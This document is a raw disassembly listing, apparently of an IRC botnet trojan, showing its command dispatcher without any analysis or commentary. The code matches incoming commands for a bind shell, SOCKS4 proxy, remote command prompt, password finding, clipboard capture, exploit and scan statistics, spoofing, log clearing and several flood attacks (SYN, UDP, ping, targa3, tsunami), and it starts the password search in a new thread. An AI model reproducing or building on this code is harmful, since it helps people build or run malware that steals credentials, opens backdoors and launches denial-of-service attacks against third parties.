mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43DBA8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BFD0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40263B: ; CODE XREF: sub_401ACD+C1Fj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_4026A7
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026A7
lea eax, dword_43DB90[edi]
push eax
call sub_41B9C0
add [ebp+var_C], eax
pop ecx
jz short loc_4026E2
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026E2
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
jmp short loc_4026E2
; ---------------------------------------------------------------------------
loc_4026A7: ; CODE XREF: sub_401ACD+B96j
; sub_401ACD+B9Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026E2
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 18h
loc_4026E2: ; CODE XREF: sub_401ACD+BAFj
; sub_401ACD+BC3j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40263B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD ; "$%d"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_402742
mov eax, [edi]
cmp eax, ebx
jz short loc_402742
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
loc_402742: ; CODE XREF: sub_401ACD+C5Aj
; sub_401ACD+C60j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026FF
mov [ebp+var_2C8], 1
loc_402757: ; CODE XREF: sub_401ACD+AE6j
; sub_401ACD+B14j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_402770
cmp [ebp+var_2C8], ebx
jz loc_402961
loc_402770: ; CODE XREF: sub_401ACD+C95j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_41843B
lea eax, [ebp+var_C4]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_41843B
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_41843B
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_41843B
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_41843B
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj
test eax, eax
jz loc_4028DF
push edi
push [ebp+arg_0]
call sub_41C2E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BFD0
lea eax, [ebp+var_A0]
push offset asc_42CAAC ; ")"
push eax
call sub_41CAD4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40282E
cmp [ebp+var_A0], 39h
jle short loc_402844
loc_40282E: ; CODE XREF: sub_401ACD+D56j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BFD0
add esp, 0Ch
loc_402844: ; CODE XREF: sub_401ACD+D5Fj
lea eax, [ebp+var_A0]
push eax
call sub_41C159
test eax, eax
pop ecx
jle short loc_40286A
lea eax, [ebp+var_A0]
push eax
call sub_41C159
pop ecx
mov [ebp+var_94], al
jmp short loc_40287E
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_401ACD+D86j
call sub_41C2C2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40287E: ; CODE XREF: sub_401ACD+D9Bj
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B9C0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BF70
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 30h
jmp loc_4027E2
; ---------------------------------------------------------------------------
loc_4028DF: ; CODE XREF: sub_401ACD+D17j
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
lea eax, [ebp+var_4EF8]
push offset asc_42CDC0 ; " "
push eax
call sub_41CAD4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40292F: ; CODE XREF: sub_401ACD+E77j
push offset asc_42CDC0 ; " "
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40292F
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F75
add ecx, 3
mov [eax], ecx
loc_402961: ; CODE XREF: sub_401ACD+C9Dj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aRn ; "rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aLogout ; "logout"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aLo ; "lo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aVersion ; "version"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aVer ; "ver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aRulez ; "rulez"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aRz ; "rz"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aSpeedtest ; "speedtest"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSt ; "st"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsecure ; "unsecure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsec ; "unsec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aBindshell ; "bindshell"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBd ; "bd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B0E
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA08
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B0E: ; CODE XREF: sub_401ACD+1027j
push edi
push offset aSocks4 ; "socks4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aS4 ; "s4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B61
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9E0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B61: ; CODE XREF: sub_401ACD+107Aj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B8A
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9C4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B8A: ; CODE XREF: sub_401ACD+10A3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9A8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BB3: ; CODE XREF: sub_401ACD+10CCj
push edi
push offset aLogstop ; "logstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDC
push [ebp+esi+var_8C]
push 25h
push offset dword_42C994
push offset dword_42C988
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BDC: ; CODE XREF: sub_401ACD+10F5j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C05
push [ebp+esi+var_8C]
push 18h
push offset dword_42C968
push offset dword_42C958
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_401ACD+111Ej
push edi
push offset dword_42C94C
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C940
push offset dword_42C934
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C2E: ; CODE XREF: sub_401ACD+1147j
push edi
push offset aSynstop ; "synstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C57
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C920
push offset dword_42C914
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C57: ; CODE XREF: sub_401ACD+1170j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C80
push [ebp+esi+var_8C]
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C80: ; CODE XREF: sub_401ACD+1199j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA9
push [ebp+esi+var_8C]
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_401ACD+11C2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD2
push [ebp+esi+var_8C]
push 12h
push offset dword_42C8A4
push offset dword_42C898
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CD2: ; CODE XREF: sub_401ACD+11EBj
push edi
push offset aPacketstop ; "packetstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402E28
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C940
push offset dword_42C934
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 0Eh
push offset dword_42C920
push offset dword_42C914
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 17h
push offset dword_42C880
push offset dword_42C874
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 16h
push offset dword_42C868
push offset dword_42C85C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 12h
push offset dword_42C8A4
push offset dword_42C898
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 13h
push offset dword_42C82C
push offset dword_42C81C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push ebx
push [ebp+var_4]
push offset unk_42C7E8
push [ebp+var_88]
push edi
call sub_409869
add esp, 34h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_402E28: ; CODE XREF: sub_401ACD+1214j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E51
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E51: ; CODE XREF: sub_401ACD+136Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E7A
push [ebp+esi+var_8C]
push 13h
push offset dword_42C82C
push offset dword_42C81C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E7A: ; CODE XREF: sub_401ACD+1393j
push edi
push offset aUdpstop ; "udpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA3
push [ebp+esi+var_8C]
push 17h
push offset dword_42C880
push offset dword_42C874
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EA3: ; CODE XREF: sub_401ACD+13BCj
push edi
push offset aPingstop ; "pingstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECC
push [ebp+esi+var_8C]
push 16h
push offset dword_42C868
push offset dword_42C85C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402ECC: ; CODE XREF: sub_401ACD+13E5j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF5
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7A0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EF5: ; CODE XREF: sub_401ACD+140Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aFfstop ; "ffstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aProcsstop ; "procsstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aPsstop ; "psstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aClonestop ; "clonestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F72
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C750
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F72: ; CODE XREF: sub_401ACD+148Bj
push edi
push offset aSecurestop ; "securestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F9B
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C72C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F9B: ; CODE XREF: sub_401ACD+14B4j
push edi
push offset aScanstop ; "scanstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C70C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_401ACD+14DDj
push edi
push offset aScanstats ; "scanstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aStats ; "stats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aTransferstats ; "transferstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aTrstats ; "trstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aCbstats ; "cbstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aExploitlist ; "exploitlist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aExplist ; "explist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aReconnect ; "reconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aDisconnect ; "disconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aDc ; "dc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aQuit_0 ; "quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aQ ; "q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aStatus ; "status"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aS_1 ; "s"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aId ; "id"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aI ; "i"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aR3start ; "r3start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403190
call sub_418884
test eax, eax
mov eax, offset unk_42C64C
jnz short loc_403162
mov eax, offset unk_42C628
loc_403162: ; CODE XREF: sub_401ACD+168Ej
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 1Ch
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_403190: ; CODE XREF: sub_401ACD+1680j
push edi
push offset aThreads ; "threads"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aT ; "t"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aAliases ; "aliases"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aAl ; "al"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aLog ; "log"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aLg ; "lg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aClearlog ; "clearlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aClg ; "clg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aNetinfo ; "netinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aNi ; "ni"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aSysinfo ; "sysinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aSi ; "si"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aProcs ; "procs"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aPs ; "ps"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aUptime ; "uptime"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aUp ; "up"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aDrv ; "drv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aTestdlls ; "testdlls"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aDll ; "dll"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aOpencmd ; "opencmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aOcmd ; "ocmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aCmdstop ; "cmdstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B1
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C574
push offset dword_42C568
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4033B1: ; CODE XREF: sub_401ACD+18CAj
push edi
push offset dword_42C564
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4034C7
cmp [ebp+var_8], ebx
jnz short loc_4033E5
push ebx
push [ebp+var_4]
push offset dword_42C550
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4033E5: ; CODE XREF: sub_401ACD+18FCj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033EF: ; CODE XREF: sub_401ACD+196Cj
mov eax, [ebp+arg_18]
loc_4033F2: ; CODE XREF: sub_401ACD+1920j
cmp [eax], bl
jz short loc_4033F9
inc eax
jmp short loc_4033FE
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_401ACD+1927j
mov eax, offset aEmpty ; "<Empty>"
loc_4033FE: ; CODE XREF: sub_401ACD+192Aj
push eax
push edi
lea eax, [ebp+var_2C4]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033EF
push offset unk_42C520
call sub_415D38
pop ecx
loc_403446: ; CODE XREF: sub_401ACD+1BFDj
; sub_401ACD+2EFAj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F75
push [ebp+arg_8]
push offset aSpoof ; "spoof"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404AAB
push offset aOff ; "off"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4049D9
lea eax, [ebp+var_2C4]
push offset unk_42C4EC
push eax
mov dword_4CF180, ebx
call sub_41C266
pop ecx
pop ecx
loc_40349D: ; CODE XREF: sub_401ACD+2FD9j
cmp [ebp+var_8], ebx
jnz loc_409644
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
loc_4034BF: ; CODE XREF: sub_401ACD+7032j
add esp, 14h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4034C7: ; CODE XREF: sub_401ACD+18F3j
push edi
push offset aGetclip ; "getclip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aGc ; "gc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aFlusharp ; "flusharp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFarp ; "farp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFlushdns ; "flushdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aFdns ; "fdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aCurrentip ; "currentip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aCip ; "cip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aRloginserver ; "rloginserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aRlogin ; "rlogin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aHttpserver ; "httpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aHttp ; "http"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aTftpserver ; "tftpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aTftp ; "tftp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aShitycrash ; "shitycrash"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403653
lea eax, [ebp+var_2C4]
push offset unk_42C444
push eax
call sub_41C266
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403632
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403632: ; CODE XREF: sub_401ACD+1B47j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41CA50
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403653: ; CODE XREF: sub_401ACD+1B2Fj
push edi
push offset aAsc ; "asc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aAs ; "as"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aPhonehome ; "phonehome"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AA
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_409823
loc_4036A2: ; CODE XREF: sub_401ACD+47Bj
add esp, 0Ch
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj
push edi
push offset aFindpass ; "findpass"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4036D0
push edi
push offset aFp ; "fp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_403446
loc_4036D0: ; CODE XREF: sub_401ACD+1BECj
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
push offset unk_42C3C4
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4172C1
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403778
loc_403762: ; CODE XREF: sub_401ACD+1CA9j
cmp [ebp+var_F60], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403778: ; CODE XREF: sub_401ACD+1C93j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C388
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: sub_401ACD+1B95j
; sub_401ACD+1BAAj
mov al, byte_4319DA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4319DA
jz loc_401F75
mov ecx, edx
loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F75
mov [ebp+arg_18], edx
loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj
push 0Bh
call sub_40B602
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403808
push ecx
